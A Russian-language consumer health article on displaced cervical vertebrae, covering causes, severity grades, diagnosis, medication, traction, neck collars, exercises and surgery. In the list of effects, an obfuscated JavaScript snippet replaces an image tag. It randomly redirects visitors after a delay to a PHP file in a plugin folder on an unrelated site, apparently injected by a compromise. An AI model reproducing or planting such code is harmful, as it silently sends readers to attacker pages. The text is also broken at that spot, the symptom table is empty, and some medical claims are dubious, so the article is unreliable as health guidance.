Смещение шейных позвонков — заболевание позвоночника, которое снижает качество жизни человека. Постоянная боль в шее и скованность движений — далеко не самые печальные последствия болезни. Если это состояние долгое время оставлять без внимания, то могут возникнуть осложнения, приводящие к инвалидности. Только своевременная диагностика и грамотное лечение способны устранить эту серьёзную проблему.
Содержание
Смещение позвонков шейного отдела — особенности
Шейный отдел позвоночника выполняет важные функции: благодаря ему человек может наклонять и поворачивать голову в разные стороны. Шейный отдел позвоночника включает в себя семь позвонков, которые представляют собой вытянутые по горизонтали костные элементы, имеющие отверстия.
Шейные позвонки отличаются небольшими параметрами и «хрупкостью», поэтому легко травмируются и смещаются. Изменение нормального положения шейного позвонка относительно низлежащего в медицине называется спондилолистез.
Шейный отдел позвоночника — самый непрочный элемент позвоночного столба.
При смещении позвонков шейного отдела в организме происходят следующие негативные изменения:
- сдавливаются нервные волокна позвоночника;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5bfd4eda841a3-728×345.jpg» alt=»Смещение позвонка» width=»728″ height=»345″ /> Смещение шейного позвонка сопровождается сдавливанием нервных окончаний позвоночного канала
- ухудшается кровоснабжение позвоночного столба;
- снижается объём спинномозгового канала.
Главная опасность смещения позвонков состоит в том, что может нарушиться кровоснабжение головного мозга. Через шейные позвонки проходят артерии и вены. При смещении элементов позвоночника сосуды могут передавливаться, что приводит к недостаточному поступлению в головной мозг кислорода.
Виды патологии
В зависимости от периода возникновения смещение шейных позвонков бывает:
- врождённое. Возникает в период внутриутробного развития человека или во время родов;
- приобретённое. Появляется в течение жизни человека.
При смещении нескольких позвонков выделяют такие виды патологии:
- лестничное смещение. В такой ситуации позвонки сдвигаются в одну сторону;
- лестнично-комбинированное смещение. Особенность — изменение местоположения позвонков в различных направлениях.
Почему появляется патология
Врождённая форма болезни появляется по следующим причинам:
- травмы позвоночника плода, полученные во время родов;
- наследственные патологии. Самая распространённая из них — диспластический спондилолистез. Заболевание характеризуется аномальным строением позвонков, которое и приводит к их смещению.
Приобретённую форму недуга вызывают такие факторы:
- остеохондроз — снижение прочности и эластичности хрящевой ткани;
- грыжи межпозвоночных дисков — выпячивание межпозвоночного диска между позвонками;
- травмы позвоночника, полученные в результате падений, ударов;
- артрит позвоночника — воспалительный процесс в суставах спины;
- неудачные хирургические вмешательства, выполненные на позвоночнике;
- злокачественные образования;
- избыточная физическая нагрузка, которая перегружает позвоночный столб. Например, смещение шейных позвонков может вызвать подъём тяжёлых предметов.
Вероятность развития смещения шейных позвонков повышается в следующих ситуациях:
- в пожилом возрасте. После 50 лет меняется структура позвоночника. Межпозвоночные диски и хрящевая ткань «слабеют», увеличивается риск смещения позвонков. К тому же пожилые люди склонны к частым падениям, что может травмировать позвоночник;
- при гиподинамии — малоподвижном образе жизни. При отсутствии достаточной физической нагрузки снижается кровоснабжение позвоночника;
- во время беременности. На поздних сроках у беременной из-за большого живота смещается центр тяжести и женщина вынуждена постоянно прогибаться в спине. Это усиливает нагрузку не только на поясницу, но и на шейный отдел позвоночника;
- в детском возрасте. Малыши очень подвижные, но не острожные. Травмы шейного отдела могут возникнуть от падений во время активных детских игр.
Сопутствующая симптоматика
Выраженность симптомов при смещении шейных позвонков зависит от степени развития заболевания:
- При первой степени позвонок смешается на 20% или менее. Эта фаза сопровождается незначительными болями в шее, которые возникают при движениях;
- При второй степени смещение позвонка достигает 50%. Нарушается кровоснабжение поражённой области. Ноющие боли в шее возникают не только при движениях, но и в состоянии покоя. Наблюдается снижение тонуса мышц шеи.
- Третья степень характеризуется изменением положения позвонков на 75%. Особенности — сильные боли в шее в состоянии покоя и при физических нагрузках, нарушение осанки, асимметрия плеч, изменения в походке.
- Четвёртая степень возникает при смещении позвонков более чем на 75%. Наблюдается сильная атрофия шейных мышц: человеку тяжело поворачивать голову, а также наклонять её вперёд и назад. Боли в шее настолько сильны, что пациенту приходится прибегать к помощи анальгетиков и спазмолитиков. Болевой синдром усиливается ночью, вызывая бессонницу.
- Пятая степень — финальный этап развития болезни, который приводит человека к инвалидности. Смещённые позвонки полностью перестают выполнять свою функцию. Пациент не может удерживать голову, поэтому она свисает вперёд или набок.
А также при смещении шейных позвонков нарушается работа внутренних органов. При этом имеет значение, какой именно позвонок сместился (первый, второй и т. д.) В зависимости от этого происходит сбой в функционировании определённых систем организма, что сопровождается специфическими признаками.
Таблица: особенности симптоматики при смещении различных шейных позвонков
| Позвонок | Органы и системы организма, работа которых нарушается | Характерные симптомы |
| Первый (атланта) |
|
|
| Второй (аксис) |
|
|
| Третий |
|
|
| Четвёртый |
|
|
| Пятый |
|
|
| Шестой |
|
|
| Седьмой |
|
|
Диагностические мероприятия
Диагностикой и лечением смещения шейных позвонков занимается врач-ортопед. Консультация у специалиста начинается с визуального и пальпаторного осмотра шейного отдела позвоночника пациента. Если выявлено аномальное месторасположение позвонков, то назначаются инструментальные моды исследования:
- рентгенография. Помогает оценить степень смещения позвонков. А также исследование выявляет деформацию позвонков, межпозвоночные грыжи;
- магнитно-резонансная томография. Назначается в ситуациях, когда результатов рентгенографии недостаточно для постановки диагноза. В ходе исследования получают послойные снимки позвоночника.
Инструментальные методы исследования — основа диагностики при смещении шейных позвонков.
Для оценки общего состояния организма пациента применяются лабораторные методы исследования:
- общий анализ крови;
- общий анализ мочи;
- биохимическое исследование крови.
Лечение
Если смещение шейных позвонков невыраженное, то применяются консервативные методы лечения. При 4-й и 5-й степени патологии может помочь только оперативное вмешательство.
Медикаментозные средства
Медикаментозная терапия смещения шейных позвонков может включать в себя применение таких лекарственных средств:
- анальгетиков (Баралгин, Анальгин), которые устраняют болевой сидром;
- спазмолитиков (Но-шпа, Папаверин). Медикаменты расслабляют мышцы внутренних органов, что способствует уменьшению болевой симптоматики;
- нестероидных противовоспалительных средств (Нимесулид, Целекокcиб). Применяются при воспалительных процессах в суставах, а также при высокой температуре и болевом синдроме. Выпускаются в виде таблеток, мазей, суспензий.
Вытяжение шейного отдела позвоночника
Вытяжение — эффективный способ лечения смещения шейных позвонков. А также процедура позволяет нормализовать кровообращение в позвоночнике и снять болевой синдром. Применяется вытяжение при 1–3-й степени смещения шейных позвонков. Процедура имеет противопоказания:
- инфекционные процессы в позвоночнике;
- переломы позвонков;
- нарушение свёртываемости крови;
- беременность;
- сердечная недостаточность;
- психические заболевания;
- вес тела более 100 кг;
- эпилепсия;
- возраст пациента более 60 лет.
Осуществляется вытяжение только в условиях больницы или поликлиники, самостоятельное проведение процедуры запрещено.
Вытяжение шейных позвонков может проводиться такими способами:
- При помощи петли Глиссона. Петля включает в себя ремешки и крепления, которые фиксируются на шее больного. Верхняя часть петли крепится на специальном устройстве, которое располагается на определённой высоте. Вытяжение происходит за счёт собственного веса пациента.
- При помощи сухого вытяжения на специальных тракционных столах, которая оснащены электронной системой. Шейный отдел позвоночника фиксируется манжетами под определённым углом. Вытяжка происходит под влиянием собственного веса пациента или под воздействием дополнительных грузов. Электронная система позволяет рассчитать и установить необходимые параметры для проведения процедуры с учётом роста, веса, возраста и степени развития заболевания. А также современные тракционные столы оснащены функциями подогрева и массажа, которые помогают ускорить процесс вытяжения позвоночника. Установки для вытяжения позвоночного столба могут быть горизонтальными и вертикальными.
- Подводное вытяжение. В воде эффективность вытяжения позвоночника увеличивается в два раза и более. Процедура проводится в бассейнах с пресной или минеральной водой, нагретой до определённой температуры. В бассейне устанавливается специальный тренажёр, на котором и происходит вытяжение. Шейный отдел позвоночника крепится к тренажёру, растяжение осуществляется под влиянием веса человека. А также при необходимости могут применяться дополнительные грузы.
Вытяжение позвоночника также применяется при сколиозе, остеохондрозе.
После курса вытяжения позвоночника пациенту рекомендуется носить ортопедический корсет, который позволит закрепить полученный результат.
Эффективные ортопедические корсеты
Современный рынок ортопедических изделий отличается огромным ассортиментом. Это даёт возможность покупателю выбрать не только эффективный, но и удобный корсет. Однако выбор изделия обязательно должен быть одобрен специалистом.
Наиболее эффективными корсетами при смещении шейных позвонков являются:
- Шина Шанца. Корсет бывает двух видов: жёсткий и мягкий. Основа жёсткого корсета — шина, изготовленная из пластика. Верхняя часть изделия состоит из мягкого материала. Этот вид бандажа ограничивает любые движения шеей и головой. Жёсткая шина Шанца показана при 3-й степени смещения позвонков, в послеоперационный период, после проведения вытяжения позвоночника. Мягкая модификация корсета выполнена из эластичных материалов. Такой бандаж позволяет выполнять незначительные движения шеей и головой.
- Надувные воротники. В полость корсета воздух закачивается при помощи специальной груши. Регулировать жёсткость воротника можно при помощи степени надува изделия. Надувные воротники повторяют анатомические особенности шейного отдела, что обеспечивает щадящее воздействие на позвоночный столб. Изделия изготавливаются из гипоаллергенных материалов.
Правила безопасной носки корсетов:
- при первом использовании корсет носят не более 20 минут. Время носки увеличивается постепенно. Более подробные рекомендации даёт лечащий врач;
- корсет не применяется во время ночного сна;
- период использования корсета днём не должен превышать 6 часов.
Лечебная гимнастика
Лечебная гимнастика обладает такими возможностями:
- улучшает кровообращение в позвоночнике;
- снижает болевой синдром;
- способствует укреплению мышц шеи, спины;
- улучшает эмоциональное состояние человека.
Подбирается комплекс упражнений специалистом индивидуально для каждого пациента. Однако существуют упражнения, которые можно выполнять в домашних условиях при 1–3-й степени смещения шейных позвонков:
- Встаньте ровно. Ноги на ширине плеч, руки упираются в бёдра. Поворачивайте голову поочерёдно в правую и левую сторону. Выполните по 10 поворотов головой влево и вправо.
- Не меняйте исходное положение. Выполните по 10 наклонов головой вперёд и назад. При движении головы вперёд старайтесь приблизить подбородок к груди.
- Приступайте к круговым движениям головой. Выполните 10 гимнастических элементов по часовой стрелке и столько же в обратном направлении.
Оперативное вмешательство
Оперативное вмешательство — единственный выход для пациентов, имеющих выраженное смещение шейных позвонков.
В настоящее время применяется два метода хирургического лечения:
- открытая операция. Во время процедуры выполняется послойное рассечение тканей в области смещённых позвонков. Смещённым позвонкам придаётся правильное положение. Закрепляется результат при помощи титановых пластин, винтов и шурупов. Открытая операция недостаток: высокую вероятность развития кровотечений во время процедуры;
- эндоскопический метод. В области шейного отдела позвоночника производится несколько проколов, через которые вводятся необходимые мини-инструменты и эндоскоп (гибкая трубка, оснащённая видеокамерой). Весь процесс операции отражается на экране монитора, что обеспечивает точность манипуляций хирурга. Дальнейший процесс операции происходит таким же образом, как и при открытом вмешательстве. Достоинство этого вида операции — атравматичность.
После любого вида оперативного вмешательства пациенту назначается антибактериальная терапия для предотвращения развития инфекционного процесса.
Лечение нетрадиционными способами
К нетрадиционным способам лечения смещения шейных позвонков относятся:
- мануальная терапия. Суть метода заключается в воздействии рук специалиста на позвоночник. Шейные позвонки при помощи различных приёмов ставятся на место вручную;
- иглоукалывание — одно из направлений китайской медицины. Во время лечебных сеансов в различные точки тела пациента устанавливаются специальные иглы. Считается, что таким образом активизируются внутренние резервы организма и болезнь отступает.
Мануальная терапия и иглоукалывание не относятся к доказательной медицине. Эти способы не должны заменять основные методы лечения.
Прогноз лечения и возможные последствия
При 1–3-й степени смещения шейных позвонков прогноз дальнейшей жизни пациента положительный: болезнь удаётся победить консервативными способами лечения. При 4–5-й стадии исход заболевания предположить тяжело. Если операция проходит успешно, то человек получает шанс на полноценную жизнь. При неудачном оперативном вмешательстве пациенту грозит инвалидность.
А также 4-я и 5-я степени патологии могут вызвать следующие осложнения:
- атеросклероз — отложение холестерина в сосудах;
- абсцесс спинного мозга — скопление в спинномозговом канале гноя;
- остеомиелит — воспаление костного мозга;
- паралич шеи.
Меры профилактики
Чтобы снизить вероятность смещения шейных позвонков, придерживайтесь полезных рекомендаций:
- проходите регулярные профилактические медицинские осмотры;
- ведите активный образ жизни;
- избегайте травм позвоночника;
- не поднимайте тяжёлые предметы.
При возникновении симптоматики, характерной для смещения шейных позвонков, незамедлительно обратитесь к специалисту. Ранняя диагностика в этой ситуации — залог успешного лечения.
